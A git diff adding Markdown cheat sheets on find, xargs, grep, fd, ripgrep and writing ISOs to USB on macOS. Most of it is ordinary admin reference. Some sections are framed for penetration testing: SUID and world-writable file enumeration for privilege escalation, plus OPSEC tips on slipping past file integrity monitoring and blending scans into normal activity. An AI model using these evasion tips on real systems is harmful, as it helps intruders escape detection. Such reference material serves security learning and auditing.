1. **-exec ls -la {} \;**: Executes `ls -la` on each matched file +> 2. **{}**: Placeholder replaced with found filename +> 3. **\;**: Required terminator for `-exec` (escaped for shell) +> 4. *Provides full permission string, owner, group, size, and modification date* + +```bash +# World-writable files excluding /proc and /sys +find / -path /proc -prune -o -path /sys -prune -o -type f -perm -0002 -print 2>/dev/null +``` + +> [!info]+ Command Breakdown +> 1. **-path /proc -prune**: Excludes `/proc` directory from traversal +> 2. **-o**: OR operator—chains pruning and search logic +> 3. **-prune**: Prevents descending into matched directory +> 4. *`/proc` and `/sys` are pseudo-filesystems with world-writable entries by design* +> 5. *Excluding them reduces noise and improves performance* + +```bash +# World-writable directories without sticky bit (dangerous) +find / -type d \( -perm -0002 -a ! -perm -1000 \) 2>/dev/null +``` + +> [!danger]+ Command Breakdown +> 1. **-a**: Logical AND operator—both conditions must be true +> 2. **! -perm -1000**: Negates sticky bit check (octal 1000) +> 3. *World-writable directory without sticky bit allows any user to delete any file* +> 4. *Severe misconfiguration—often found in poorly configured web directories* + +**OPSEC considerations:** +1. Full system scans generate high I/O and may trigger file integrity monitoring ([AIDE](https://aide.github.io/), [OSSEC](https://www.ossec.net/)) +2. Redirect stderr (`2>/dev/null`) to avoid logging permission-denied paths in shell history +3. Consider running during high-activity periods to blend with baseline noise +4. Use `-maxdepth` to limit scope and reduce detection surface +5. Combine with `-xdev` to avoid traversing network mounts (reduces latency and external logs) + +--- + +## Command Execution with `-exec` and `xargs` + +Three primary methods exist for executing commands on found files, each with distinct performance and safety characteristics: + +1. **-exec cmd {} \;**: Forks command once per file (slower, more visible) +2. **-exec cmd {} +**: Batches files into single command invocation (faster, less visible) +3. **find | xargs**: Batches via pipe, respects ARG_MAX, supports parallelism + +### Execution Method Comparison + +| Method | Behaviour | Performance | Use Case | OPSEC Impact | +|:---|:---|:---|:---|:---| +| `-exec cmd {} \;` | Forks cmd once per file | Slow | Small sets, complex per-file logic | High (many processes) | +| `-exec cmd {} +` | Batches files into one cmd | Fast | Large sets, simple commands | Low (few processes) | +| `find \| xargs` | Batches via pipe | Fast | Very large sets, custom batching | Low (few processes) | +| `find -print0 \| xargs -0` | Null-delimited batching | Fast | Filenames with spaces/newlines | Low (safe handling) | +| `xargs -P N` | Parallel execution | Fastest | CPU-bound operations | Medium (multiple concurrent processes) | + +### `-exec` Examples + +```bash +# -exec with \; (one command per file – slower) +find . -type f -name "*.log" -exec rm {} \; +``` + +> [!info]+ Command Breakdown +> 1. **-exec rm {}**: Executes `rm` command with `{}` replaced by filename +> 2. **\;**: Terminator indicating end of command (backslash escapes semicolon from shell) +> 3. *Spawns one `rm` process per file—thousands of files = thousands of processes* +> 4. *High overhead but allows per-file command customization* + +```bash +# -exec with + (batched arguments – faster) +find . -type f -name "*.log" -exec rm {} + +``` + +**Batching behaviour:** +1. Combines multiple filenames into single command invocation +2. Example: `rm file1.log file2.log file3.log` instead of three separate `rm` calls +3. Respects system ARG_MAX limit—automatically splits into multiple batches if needed +4. Preferred method for large-scale operations + +```bash +# Grep for pattern in PHP files (batched) +find /var/www -type f -name "*.php" -exec grep -l "eval(" {} + +``` + +> [!info]+ Command Breakdown +> 1. **grep -l "eval("**: Lists filenames containing the string `eval(` (potential [web shell](https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-part-2/) indicator) +> 2. **-exec ... +**: Batches PHP files into single `grep` invocation for efficiency +> 3. *Useful for web application security audits and malware hunting* +> 4. *Consider escaping parentheses in grep pattern depending on shell context* + +```bash +# Change ownership in batches +find /data -type f -exec chown appuser:appgroup {} + +``` + +**Performance notes:** +1. Changes file owner to `appuser` and group to `appgroup` +2. Batching significantly reduces execution time on large directory trees +3. Common post-deployment task or privilege management operation +4. Requires appropriate permissions (typically root/sudo) + +### `xargs` Examples + +```bash +# Pipe to xargs (batched, handles large sets) +find . -type f -name "*.log" -print0 | xargs -0 rm +``` + +> [!info]+ Command Breakdown +> 1. **-print0**: Outputs null-delimited filenames (handles spaces, newlines, special characters) +> 2. **xargs -0**: Reads null-delimited input from stdin +> 3. *The `-0` pairing is **critical** for safe handling of unusual filenames* +> 4. *[xargs](https://man7.org/linux/man-pages/man1/xargs.1.html) automatically batches arguments respecting ARG_MAX* + +```bash +# xargs with parallelism +find . -type f -name "*.log" -print0 | xargs -0 -P 4 rm +``` + +**Parallelism considerations:** +1. **-P 4**: Runs up to 4 parallel `rm` processes simultaneously +2. Significantly faster for CPU-bound operations (compression, checksumming) +3. Use `-P 1` to force serial execution if parallelism causes detection +4. Monitor system load—excessive parallelism can overwhelm resources + +```bash +# Safe delete with confirmation (interactive) +find . -name "*.tmp" -print0 | xargs -0 -p rm +``` + +**Interactive mode:** +1. **-p**: Prompts user before executing each command +2. Safety mechanism for destructive operations +3. User must type `y` to confirm each deletion +4. Not suitable for automated scripts—use only for manual operations + +```bash +# Compress logs older than 30 days (parallel) +find /var/log -type f -mtime +30 -name "*.log" -print0 | xargs -0 -P 4 gzip +``` + +> [!info]+ Command Breakdown +> 1. **-mtime +30**: Files modified more than 30 days ago +> 2. **gzip**: Compresses each file (replaces original with `.gz` version) +> 3. **-P 4**: Compresses 4 files simultaneously +> 4. *Common log rotation cleanup task* +> 5. *Parallelism ideal for CPU-intensive compression workloads* + +### Additional `xargs` Options + +| Flag | Description | Example Use | +|:---|:---|:---| +| `-n N` | Max N arguments per invocation | `xargs -n 1` processes one file at a time | +| `-r` | Don't run if input is empty | Prevents errors when find returns nothing | +| `-I {}` | Replace string placeholder | `xargs -I {} mv {} /backup/` | +| `-t` | Print command before executing | Debugging and logging | +| `--show-limits` | Display ARG_MAX and buffer sizes | System capability check | + +> [!warning]+ Common Errors +> 1. **Missing `-0` with xargs when filenames contain spaces**: Command breaks or acts on wrong files—always use `-print0 | xargs -0` pairing +> 2. **Forgetting `\;` or `+` at end of `-exec`**: Syntax error—required terminator +> 3. **Using `-delete` before other predicates**: Evaluation order matters; `-delete` implies `-depth` traversal +> 4. **Forgetting `-r` with xargs when find returns nothing**: Unexpected command execution with no arguments +> 5. **Exceeding ARG_MAX with `-exec {} +`**: Rare on modern systems—xargs auto-splits, but find may fail on ancient systems + +--- + +## Time-Based File Searches + +[find](https://man7.org/linux/man-pages/man1/find.1.html) supports three timestamp types for file matching: + +1. **mtime**: File modification time (content changed) +2. **atime**: File access time (content read) +3. **ctime**: Inode change time (metadata changed—permissions, ownership, name) +4. Each has day-based (`-mtime`) and minute-based (`-mmin`) variants +5. Critical for [incident response](https://www.sans.org/white-papers/33901/), forensic analysis, and log management + +### Time Predicate Syntax + +| Predicate | Meaning | Measurement Unit | +|:---|:---|:---| +| `-mtime n` | Modified exactly n days ago | 24-hour periods | +| `-mtime +n` | Modified more than n days ago | 24-hour periods | +| `-mtime -n` | Modified within last n days | 24-hour periods | +| `-atime n/+n/-n` | Access time variants | 24-hour periods | +| `-ctime n/+n/-n` | Inode change time variants | 24-hour periods | +| `-mmin n/+n/-n` | Modification time | Minutes | +| `-amin n/+n/-n` | Access time | Minutes | +| `-cmin n/+n/-n` | Inode change time | Minutes | +| `-newermt "date"` | Modified after specified date | ISO 8601 format | +| `-newer reference` | Modified more recently than file | File comparison | +| `-daystart` | Measure from start of today | Changes reference point | + +### Time-Based Search Examples + +```bash +# Files modified in the last 24 hours +find /var/log -type f -mtime 0 +``` + +**Interpretation:** +1. **-mtime 0**: Files modified between now and 24 hours ago +2. `0` represents the current 24-hour period from now +3. Useful for identifying recently changed logs during incident investigation +4. Does not mean "modified today"—use `-daystart -mtime 0` for that + +```bash +# Files modified more than 30 days ago +find /tmp -type f -mtime +30 +``` + +**Interpretation:** +1. **-mtime +30**: Files with modification time older than 30 days +2. **+** prefix means "more than"—excludes files at exactly 30 days +3. Common cleanup pattern for temporary directories +4. Combine with `-delete` or `-exec rm` for automated maintenance + +```bash +# Files modified in the last 60 minutes +find /home -type f -mmin -60 +``` + +**Interpretation:** +1. **-mmin -60**: Files modified within the last 60 minutes +2. **-** prefix means "less than"—within the specified timeframe +3. Higher resolution than day-based predicates +4. Essential for real-time security monitoring and breach detection + +```bash +# Files modified yesterday (using -daystart) +find /data -daystart -mtime 1 -type f +``` + +> [!info]+ Command Breakdown +> 1. **-daystart**: Changes reference point to midnight today (00:00) instead of current time +> 2. **-mtime 1**: Exactly 1 day ago from reference point +> 3. *Without `-daystart`, `1` means "24-48 hours ago from now"* +> 4. *Order matters: `-daystart` must appear **before** `-mtime` in expression* + +```bash +# Files modified between two dates +find /logs -newermt "2025-12-01" ! -newermt "2025-12-31" +``` + +> [!info]+ Command Breakdown +> 1. **-newermt "2025-12-01"**: Modified after (newer than) December 1, 2025 00:00:00 +> 2. **! -newermt "2025-12-31"**: `!` negates—NOT newer than December 31, 2025 00:00:00 +> 3. *Creates inclusive date range: December 1-30, 2025* +> 4. *Requires quotes around dates; supports ISO 8601 format with time: `"2025-12-01 14:30:00"`* + +```bash +# Files accessed more recently than a reference file +find /app -newer /app/deploy.timestamp +``` + +**Use cases:** +1. **-newer /app/deploy.timestamp**: Files modified more recently than reference file's mtime +2. Useful for identifying files changed since last deployment +3. Create timestamp files with `touch` to mark events +4. Variant: `-anewer` for atime comparison, `-cnewer` for ctime + +### Advanced Time-Based Queries + +```bash +# Files modified today (calendar day, not 24 hours) +find /var/log -type f -daystart -mtime 0 -printf "%T+ %p\n" +``` + +> [!info]+ Command Breakdown +> 1. **-daystart -mtime 0**: Files modified since midnight today +> 2. **-printf "%T+ %p\n"**: Custom format—`%T+` is ISO timestamp, `%p` is path +> 3. *Output format: `2026-01-18+09:30:15.0000000000 /var/log/auth.log`* +> 4. *Pipe to `sort` for chronological ordering* + +```bash +# Files NOT accessed in the last 90 days (candidates for archival) +find /archive -type f -atime +90 -ls +``` + +**Archival workflow:** +1. **-atime +90**: Access time older than 90 days +2. **-ls**: Long listing output with timestamps +3. Identifies stale files for archival or deletion +4. Warning: atime may be unreliable on filesystems with `noatime` or `relatime` mount options + +**OPSEC and forensic considerations:** +1. **Access time queries may update atime on some filesystems**: Recursive find can modify the evidence you're searching for +2. **`noatime` or `relatime` mount options**: Access time may be stale or not updated—verify mount options with `mount | grep atime` +3. **Timestomping**: Adversaries can modify file timestamps—time-based queries less reliable if attacker has touched files +4. **Timezone considerations**: Timestamps in UTC vs local time—use `%T+` printf format for ISO 8601 with timezone +5. **Inode change time (ctime) cannot be modified by standard tools**: More forensically reliable than mtime/atime + +> [!tip]+ Performance Optimization +> 1. Combine time predicates with `-type` early in expression for faster evaluation +> 2. Use `-maxdepth` to limit search scope when possible +> 3. Redirect stderr (`2>/dev/null`) to avoid permission-denied overhead +> 4. Consider `locate` database for name-based searches if time constraints allow +> 5. Use `-xdev` to avoid crossing mount points and network filesystems + +--- + +## References + +1. [GNU findutils Manual](https://www.gnu.org/software/findutils/manual/html_mono/find.html) +2. [Linux find Man Page](https://man7.org/linux/man-pages/man1/find.1.html) +3. [Red Hat: Linux find Command](https://www.redhat.com/en/blog/linux-find-command) +4. [Cyberciti: Finding Files by Date](https://www.cyberciti.biz/faq/howto-finding-files-by-date/) +5. [Red Hat: Audit Permissions with find](https://www.redhat.com/en/blog/audit-permissions-find) +6. [Baeldung: Find Modified Date](https://www.baeldung.com/linux/find-modified-date) +7. [Endpoint Dev: Efficiency of find -exec vs xargs](https://www.endpointdev.com/blog/2010/07/efficiency-of-find-exec-vs-find-xargs/) +8. [CaveOps: find -exec vs find | xargs](https://caveops.com/blog/post/name/find-exec-vs-find-xargs/) +9. [GTFOBins](https://gtfobins.github.io/) +10. [MITRE ATT&CK: File and Directory Discovery](https://attack.mitre.org/techniques/T1083/) +11. [HackTricks: Linux Privilege Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation) +12. [SANS: Incident Response Process](https://www.sans.org/white-papers/33901/) + +--- + +#Linux #FileSystemEnumeration #find #xargs #SUID #SGID #PrivilegeEscalation #IncidentResponse #Forensics #SystemAdministration #PenetrationTesting #Reconnaissance #GTFOBins diff --git a/src/content/sheets/linux-it/linux-file-directory-search.md b/src/content/sheets/linux-it/linux-file-directory-search.md @@ -0,0 +1,812 @@ +--- +title: "Linux File & Directory Search" +description: "A comprehensive guide to find, grep, fd, and rg (ripgrep) for locating files and searching content." +category: linux-it +tags: ["linux-it"] +tools: ["PowerShell"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Linux/Linux File & Directory Search Cheat Sheet.md" +--- +# Linux File & Directory Search Cheat Sheet + +A comprehensive guide to `find`, `grep`, `fd`, and `rg` (ripgrep) for locating files and searching content. + +--- + +## Table of Contents +1. [find - Classic File Search](#find) +2. [grep - Content Search](#grep) +3. [fd - Modern find Alternative](#fd) +4. [rg (ripgrep) - Modern grep Alternative](#rg) +5. [Combined Patterns & Workflows](#combined) +6. [Windows findstr Equivalents](#windows-equivalents) + +--- + +## <a name="find"></a>1. `find` - Classic File Search + +### Basic Syntax +```bash +find [path] [options] [expression] +``` + +### Finding Files by Name +```bash +# Find by exact name +find /path -name "filename.txt" + +# Case-insensitive search +find /path -iname "filename.txt" + +# Wildcards (must be quoted) +find . -name "*.ps1" +find . -name "*.log" +find . -name "Password_File*" + +# Multiple patterns (OR logic) +find . -name "*.ps1" -o -name "*.sh" -o -name "*.py" + +# Regex matching (full path) +find . -regex ".*\(\.ps1\|\.sh\)$" + +# Extended regex +find . -regextype posix-extended -regex ".*(POWERSHELL_SCRIPT|Password_File|.*\.ps1)" +``` + +### Finding by Type + +```bash +# Files only +find . -type f + +# Directories only +find . -type d + +# Symbolic links +find . -type l + +# Empty files +find . -type f -empty + +# Empty directories +find . -type d -empty +``` + +### Finding by Size + +```bash +# Exactly 50MB +find . -size 50M + +# Greater than 100MB +find . -size +100M + +# Less than 1KB +find . -size -1k + +# Between 1MB and 100MB +find . -size +1M -size -100M + +# Size units: c(bytes), k(KB), M(MB), G(GB) +``` + +### Finding by Time + +```bash +# Modified in last 7 days +find . -mtime -7 + +# Modified more than 30 days ago +find . -mtime +30 + +# Modified exactly 1 day ago +find . -mtime 1 + +# Accessed in last 60 minutes +find . -amin -60 + +# Changed in last 24 hours (metadata) +find . -ctime -1 + +# Modified after a reference file +find . -newer reference_file.txt + +# Modified between two dates +find . -newermt "2024-01-01" ! -newermt "2024-12-31" +``` + +### Finding by Permissions & Ownership + +```bash +# Exact permissions +find . -perm 644 +find . -perm 755 + +# At least these permissions (all bits set) +find . -perm -644 + +# Any of these permissions (any bit set) +find . -perm /644 + +# World-writable files (security audit) +find . -perm -o=w -type f + +# SUID/SGID files +find . -perm /4000 # SUID +find . -perm /2000 # SGID +find . -perm /6000 # Either + +# By owner +find . -user username +find . -group groupname + +# Files without owner (orphaned) +find . -nouser +find . -nogroup +``` + +### Depth Control + +```bash +# Maximum depth (don't go deeper than 2 levels) +find . -maxdepth 2 -name "*.txt" + +# Minimum depth (skip current directory) +find . -mindepth 1 -name "*.txt" + +# Exact depth (only level 3) +find . -mindepth 3 -maxdepth 3 -name "*.txt" +``` + +### Excluding Paths + +```bash +# Exclude a directory +find . -path "./node_modules" -prune -o -name "*.js" -print + +# Exclude multiple directories +find . \( -path "./node_modules" -o -path "./.git" \) -prune -o -name "*.js" -print + +# Using -not +find . -not -path "*/\.git/*" -name "*.py" +``` + +### Actions + +```bash +# Delete found files (DANGEROUS - test with -print first!) +find . -name "*.tmp" -delete + +# Execute command on each file +find . -name "*.txt" -exec cat {} \; + +# Execute with confirmation +find . -name "*.log" -ok rm {} \; + +# More efficient execution (batched) +find . -name "*.txt" -exec cat {} + + +# Print with null separator (for xargs) +find . -name "*.txt" -print0 | xargs -0 cat + +# Custom output format +find . -name "*.txt" -printf "%p %s %T+\n" +# %p=path, %s=size, %T+=modification time +``` + +### Complex Expressions + +```bash +# AND (implicit) +find . -name "*.txt" -size +1M + +# AND (explicit) +find . -name "*.txt" -a -size +1M + +# OR +find . -name "*.txt" -o -name "*.md" + +# NOT +find . ! -name "*.txt" +find . -not -name "*.txt" + +# Grouping with parentheses +find . \( -name "*.txt" -o -name "*.md" \) -mtime -7 +``` + +--- + +## <a name="grep"></a>2. `grep` - Content Search + +### Basic Syntax +```bash +grep [options] pattern [file...] +``` + +### Basic Pattern Matching + +```bash +# Simple string search +grep "password" file.txt + +# Search in multiple files +grep "password" *.txt + +# Recursive search in directory +grep -r "password" /path/to/dir + +# Case-insensitive +grep -i "password" file.txt + +# Whole word only +grep -w "password" file.txt + +# Fixed string (no regex interpretation) +grep -F "exact.string" file.txt +``` + +### Regular Expressions + +```bash +# Extended regex +grep -E "POWERSHELL_SCRIPT|Password_File|.*\.ps1" . + +# Perl-compatible regex (PCRE) +grep -P "password\d{3}" file.txt + +# Match beginning of line +grep "^start" file.txt + +# Match end of line +grep "end$" file.txt + +# Match any character +grep "p.ssword" file.txt + +# Character class +grep "[Pp]assword" file.txt + +# Negated character class +grep "[^0-9]" file.txt + +# Quantifiers +grep -E "ab+" file.txt # One or more +grep -E "ab*" file.txt # Zero or more +grep -E "ab?" file.txt # Zero or one +grep -E "a{3}" file.txt # Exactly 3 +grep -E "a{2,5}" file.txt # 2 to 5 times +``` + +### Output Control + +```bash +# Show line numbers +grep -n "pattern" file.txt + +# Show only matching part +grep -o "pattern" file.txt + +# Count matches +grep -c "pattern" file.txt + +# Show filename only +grep -l "pattern" *.txt + +# Show files without matches +grep -L "pattern" *.txt + +# Show context (before/after/both) +grep -B 3 "pattern" file.txt # 3 lines before +grep -A 3 "pattern" file.txt # 3 lines after +grep -C 3 "pattern" file.txt # 3 lines both sides + +# Suppress errors +grep -s "pattern" file.txt + +# Quiet mode (exit code only) +grep -q "pattern" file.txt && echo "Found" +``` + +### Recursive & File Filtering + +```bash +# Recursive search +grep -r "pattern" /path + +# Recursive following symlinks +grep -R "pattern" /path + +# Include only certain files +grep -r --include="*.py" "pattern" . + +# Exclude files +grep -r --exclude="*.log" "pattern" . + +# Exclude directories +grep -r --exclude-dir=".git" "pattern" . +grep -r --exclude-dir={.git,node_modules,vendor} "pattern" . +``` + +### Inverting & Combining + +```bash +# Invert match (lines NOT matching) +grep -v "pattern" file.txt + +# Multiple patterns (OR) +grep -E "pattern1|pattern2" file.txt +grep -e "pattern1" -e "pattern2" file.txt + +# Multiple patterns from file +grep -f patterns.txt file.txt + +# AND logic (all patterns must match) +grep "pattern1" file.txt | grep "pattern2" +grep -P "(?=.*pattern1)(?=.*pattern2)" file.txt +``` + +### Binary & Special Files + +```bash +# Treat binary as text +grep -a "pattern" binary_file + +# Skip binary files +grep -I "pattern" * + +# Search compressed files +zgrep "pattern" file.gz +bzgrep "pattern" file.bz2 +xzgrep "pattern" file.xz +``` + +--- + +## <a name="fd"></a>3. `fd` - Modern find Alternative + +> **Installation**: `apt install fd-find` (Debian/Ubuntu), `brew install fd` (macOS), `cargo install fd-find` +> Note: On Debian/Ubuntu, the binary is `fdfind` + +### Basic Usage + +```bash +# Simple search (case-insensitive by default) +fd pattern + +# Search in specific directory +fd pattern /path/to/dir + +# Case-sensitive search +fd -s Pattern + +# Exact match +fd -g "exact_filename.txt" + +# Show full path +fd -a pattern +``` + +### File Type Filtering + +```bash +# Files only +fd -t f pattern + +# Directories only +fd -t d pattern + +# Symbolic links +fd -t l pattern + +# Executables +fd -t x pattern + +# Empty files/directories +fd -t e pattern + +# Specific extension +fd -e txt +fd -e py +fd -e ps1 + +# Multiple extensions +fd -e txt -e md -e rst +``` + +### Advanced Patterns + +```bash +# Regex (default) +fd ".*\.(ps1|sh|py)$" + +# Glob pattern +fd -g "*.ps1" +fd -g "Password_File*" + +# Multiple patterns (Windows findstr equivalent) +fd -g "POWERSHELL_SCRIPT" . && fd -g "Password_File*" . && fd -e ps1 +# Or using regex: +fd "(POWERSHELL_SCRIPT|Password_File|.*\.ps1)" + +# Hidden files included +fd -H pattern + +# Ignored files included (.gitignore) +fd -I pattern + +# Both hidden and ignored +fd -HI pattern +``` + +### Filtering & Exclusions + +```bash +# Exclude pattern +fd -E "*.log" pattern +fd -E node_modules pattern + +# Multiple exclusions +fd -E node_modules -E .git -E target pattern + +# Use .gitignore rules (default) +fd pattern + +# Ignore .gitignore +fd -I pattern + +# Exclude directories +fd -E ".git/" -E "node_modules/" pattern +``` + +### Size & Time Filters + +```bash +# Size filters +fd -S +1M # Larger than 1MB +fd -S -100k # Smaller than 100KB +fd -S +1M -S -100M # Between 1MB and 100MB + +# Time filters +fd --changed-within 1d # Changed in last day +fd --changed-within 2h # Changed in last 2 hours +fd --changed-before 1w # Changed more than 1 week ago +``` + +### Depth Control + +```bash +# Maximum depth +fd -d 2 pattern + +# Exact depth +fd --min-depth 2 --max-depth 2 pattern +``` + +### Execution + +```bash +# Execute command on each result +fd -e txt -x cat {} + +# Execute with placeholders +fd -e txt -x echo "File: {}" "Dir: {//}" "Name: {/}" "Base: {.}" +# {} = full path +# {//} = parent directory +# {/} = filename +# {.} = filename without extension +# {/.} = filename without extension, no path + +# Parallel execution (default) +fd -e txt -x wc -l {} + +# Batch execution +fd -e txt -X cat {} + +# Delete files +fd -e tmp -X rm {} +``` + +### Output Formatting + +```bash +# Null separator (for xargs) +fd -0 pattern | xargs -0 command + +# Absolute paths +fd -a pattern + +# Color control +fd --color=always pattern | less -R +fd --color=never pattern +``` + +--- + +## <a name="rg"></a>4. `rg` (ripgrep) - Modern grep Alternative + +> **Installation**: `apt install ripgrep` (Debian/Ubuntu), `brew install ripgrep` (macOS), `cargo install ripgrep` + +### Basic Usage + +```bash +# Simple search (recursive by default) +rg "pattern" + +# Search specific file +rg "pattern" file.txt + +# Search specific directory +rg "pattern" /path/to/dir + +# Case-insensitive +rg -i "pattern" + +# Case-sensitive (default) +rg -s "pattern" + +# Smart case (insensitive unless uppercase present) +rg -S "pattern" +``` + +### Pattern Types + +```bash +# Regex (default) +rg "POWERSHELL_SCRIPT|Password_File|.*\.ps1" + +# Fixed string (literal) +rg -F "exact.string" + +# Word boundary +rg -w "word" + +# Whole line +rg -x "entire line must match" + +# Multiline +rg -U "pattern\nacross\nlines" + +# PCRE2 regex +rg -P "(?i)password(?=.*\d)" +``` + +### File Type Filtering + +```bash +# By type +rg -t py "pattern" # Python files +rg -t js "pattern" # JavaScript files +rg -t sh "pattern" # Shell scripts + +# Multiple types +rg -t py -t js "pattern" + +# List available types +rg --type-list + +# Exclude type +rg -T js "pattern" + +# Custom type definition +rg --type-add 'config:*.{conf,cfg,ini}' -t config "pattern" + +# By glob +rg -g "*.py" "pattern" +rg -g "*.{py,js,ts}" "pattern" + +# Exclude by glob +rg -g "!*.log" "pattern" +rg -g "!node_modules/**" "pattern" +``` + +### Output Control + +```bash +# Line numbers (default on) +rg -n "pattern" + +# No line numbers +rg -N "pattern" + +# Show only filenames +rg -l "pattern" + +# Show files without matches +rg --files-without-match "pattern" + +# Count matches per file +rg -c "pattern" + +# Only matching text +rg -o "pattern" + +# Context lines +rg -B 3 "pattern" # 3 before +rg -A 3 "pattern" # 3 after +rg -C 3 "pattern" # 3 both + +# Replace matches +rg "pattern" -r "replacement" + +# Show column number +rg --column "pattern" +``` + +### Hidden & Ignored Files + +```bash +# Search hidden files +rg --hidden "pattern" + +# Ignore .gitignore +rg --no-ignore "pattern" + +# Ignore .ignore and .gitignore +rg --no-ignore-vcs "pattern" + +# Everything (hidden + all ignore files) +rg -uuu "pattern" +# -u = --no-ignore +# -uu = --no-ignore --hidden +# -uuu = --no-ignore --hidden --binary +``` + +### Performance Options + +```bash +# Follow symlinks +rg -L "pattern" + +# Limit results +rg -m 5 "pattern" + +# Memory map (faster for large files) +rg --mmap "pattern" + +# Thread count +rg -j 4 "pattern" +``` + +### Advanced Features + +```bash +# JSON output +rg --json "pattern" + +# Null separator +rg -0 -l "pattern" | xargs -0 command + +# Stats +rg --stats "pattern" + +# Debug regex +rg --debug "pattern" + +# Trace file searching +rg --trace "pattern" + +# Search binary files +rg -a "pattern" + +# Search compressed files (requires preprocessing) +zcat file.gz | rg "pattern" +``` + +--- + +## <a name="combined"></a>5. Combined Patterns & Workflows + +### Find Files Then Search Content + +```bash +# Using find + grep +find . -name "*.py" -exec grep -l "import os" {} \; + +# Using find + xargs (more efficient) +find . -name "*.py" -print0 | xargs -0 grep -l "import os" + +# Using fd + rg +fd -e py -x rg -l "import os" {} + +# Find and search in one command +fd -e py --exec rg "import os" {} +``` + +### Complex Search Scenarios + +```bash +# Find large log files modified today +find . -name "*.log" -size +10M -mtime 0 +fd -e log -S +10M --changed-within 1d + +# Find all scripts and search for passwords +find . \( -name "*.sh" -o -name "*.py" -o -name "*.ps1" \) -exec grep -i "password" {} + +fd -e sh -e py -e ps1 -x rg -i "password" {} + +# Find empty directories and delete +find . -type d -empty -delete +fd -t d -t e -X rmdir {} + +# Find duplicate filenames +find . -type f -printf "%f\n" | sort | uniq -d + +# Security audit: world-writable files +find / -type f -perm -o=w 2>/dev/null +``` + +### Creating File Lists + +```bash +# All Python files to a list +find . -name "*.py" > python_files.txt +fd -e py > python_files.txt + +# Files with specific content +grep -r -l "TODO" . > todo_files.txt +rg -l "TODO" > todo_files.txt + +# Sorted by modification time +find . -type f -printf "%T@ %p\n" | sort -n | cut -d' ' -f2- +``` + +--- + +## <a name="windows-equivalents"></a>6. Windows `findstr` Equivalents + +The Windows command: +```cmd +findstr "POWERSHELL_SCRIPT|Password_File|*.ps1" +``` + +### Equivalent in Linux Tools + +| Task | Linux Command | +|:-----|:--------------| +| **Search file names** | `find . -regex ".*\(POWERSHELL_SCRIPT\|Password_File\|.*\.ps1\)"` | +| **Search file names (fd)** | `fd "(POWERSHELL_SCRIPT\|Password_File\|.*\.ps1)"` | +| **Search file content** | `grep -rE "POWERSHELL_SCRIPT\|Password_File" --include="*.ps1" .` | +| **Search file content (rg)** | `rg "POWERSHELL_SCRIPT\|Password_File" -t ps1` | +| **Combined (names + content)** | See below | + +### Combined Search (Names AND Content) + +```bash +# Find files matching name patterns, then search inside them +find . \( -name "*POWERSHELL*" -o -name "*Password_File*" -o -name "*.ps1" \) \ + -exec grep -l "sensitive_pattern" {} \; + +# Using fd + rg +fd "(POWERSHELL_SCRIPT|Password_File|.*\.ps1)" -x rg -l "sensitive_pattern" {} + +# Find .ps1 files containing specific patterns +rg -t ps1 "POWERSHELL_SCRIPT|Password_File" +``` + +--- + +## Quick Reference Card + +| Task | find | fd | grep | rg | +|:-----|:-----|:---|:-----|:---| +| Find by name | `find . -name "*.txt"` | `fd -e txt` | N/A | N/A | +| Find files only | `find . -type f` | `fd -t f` | N/A | N/A | +| Case insensitive | `find . -iname` | default | `grep -i` | `rg -i` | +| Regex | `-regex` | default | `grep -E` | default | +| Recursive | default | default | `grep -r` | default | +| Exclude dir | `-path X -prune` | `-E dir/` | `--exclude-dir` | `-g "!dir/"` | +| Execute | `-exec cmd {} \;` | `-x cmd {}` | N/A | N/A | +| Hidden files | default | `-H` | default | `--hidden` | +| Size filter | `-size +10M` | `-S +10M` | N/A | N/A | +| Time filter | `-mtime -7` | `--changed-within 7d` | N/A | N/A | + +--- + +## Pro Tips + +1. **Always quote patterns** with wildcards to prevent shell expansion +2. **Use `-print0` / `-0`** for filenames with spaces +3. **Test destructive commands** with `-print` or `echo` first +4. **`fd` and `rg` respect `.gitignore`** by default - use `-I`/`--no-ignore` to override +5. **Combine tools** for complex workflows: `fd ... | xargs rg ...` +6. **Use `--` to separate** options from patterns starting with `-` diff --git a/src/content/sheets/linux-it/macos-iso-to-usb.md b/src/content/sheets/linux-it/macos-iso-to-usb.md @@ -0,0 +1,314 @@ +--- +title: "macOS-ISO-to-USB" +description: "shasum -a 256 ~/Downloads/some.iso" +category: linux-it +tags: ["linux-it", "hashing"] +tools: ["Ligolo-ng"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:macOS-ISO-to-USB-Cheatsheet.md" +--- +# 💿 Burning ISOs to USB on macOS (CLI) + +> [!info] TL;DR +> - **Linux / BSD / macOS / most ISOs** → `dd` just works. +> - **Windows 10/11 ISOs** → `dd` **does not work**. `install.wim` is usually >4 GB, `diskutil eraseDisk` can't do FAT32, and the Windows boot chain needs a UEFI-visible FAT32 partition. Use the **mount + rsync + wimlib-split** method. +> - **Erasing / wiping** → see the [diskutil erase section](#-diskutil--erasing--secure-erasing-drives). Secure-erase passes are for spinning HDDs; flash/SSDs need encryption-based wipes. +> - Always `diskutil list` **twice** before writing. `of=` to the wrong disk destroys your Mac in seconds. + +--- + +## ⚠️ Before You Start + +- **Identify your USB drive**: `diskutil list` — look for size, name, `external, physical`. +- **Never** write to `/dev/disk0` (internal SSD) or the disk containing `/System/Volumes/Data`. +- Use the **raw** device (`/dev/rdiskN`) for `dd` — it's ~10× faster than `/dev/diskN`. +- Apple Silicon caveat: a Windows **x64** USB will **not boot an ARM Mac**. You're making this for a PC or an ARM Windows VM. + +--- + +## 🧪 Step 0 — Verify the ISO (always do this) + +```bash +# SHA-256 — compare against the vendor's published hash +shasum -a 256 ~/Downloads/some.iso + +# Or if the vendor published SHA-512 +shasum -a 512 ~/Downloads/some.iso +``` + +--- + +## 🐧 General Method — Linux / BSD / macOS / Kali / Ubuntu / etc. + +Works for **any hybrid ISO** (isohybrid / modern Linux / Kali / Ubuntu / FreeBSD / macOS recovery). This is the `dd` path. + +```bash +# 1. List disks, find your USB +diskutil list + +# 2. Unmount the whole disk (not `eject`, not a partition) +diskutil unmountDisk /dev/disk4 + +# 3. Write the ISO — note `rdisk`, not `disk` +sudo dd if=~/Downloads/kali-linux-2025.iso of=/dev/rdisk4 bs=4m status=progress + +# 4. Eject when done +diskutil eject /dev/disk4 +``` + +> [!tip] Speed & progress +> - `bs=4m` is a sane block size on macOS (lowercase `m`, not `M`). +> - `status=progress` works on recent macOS; if not, hit **Ctrl+T** during `dd` to print SIGINFO progress. + 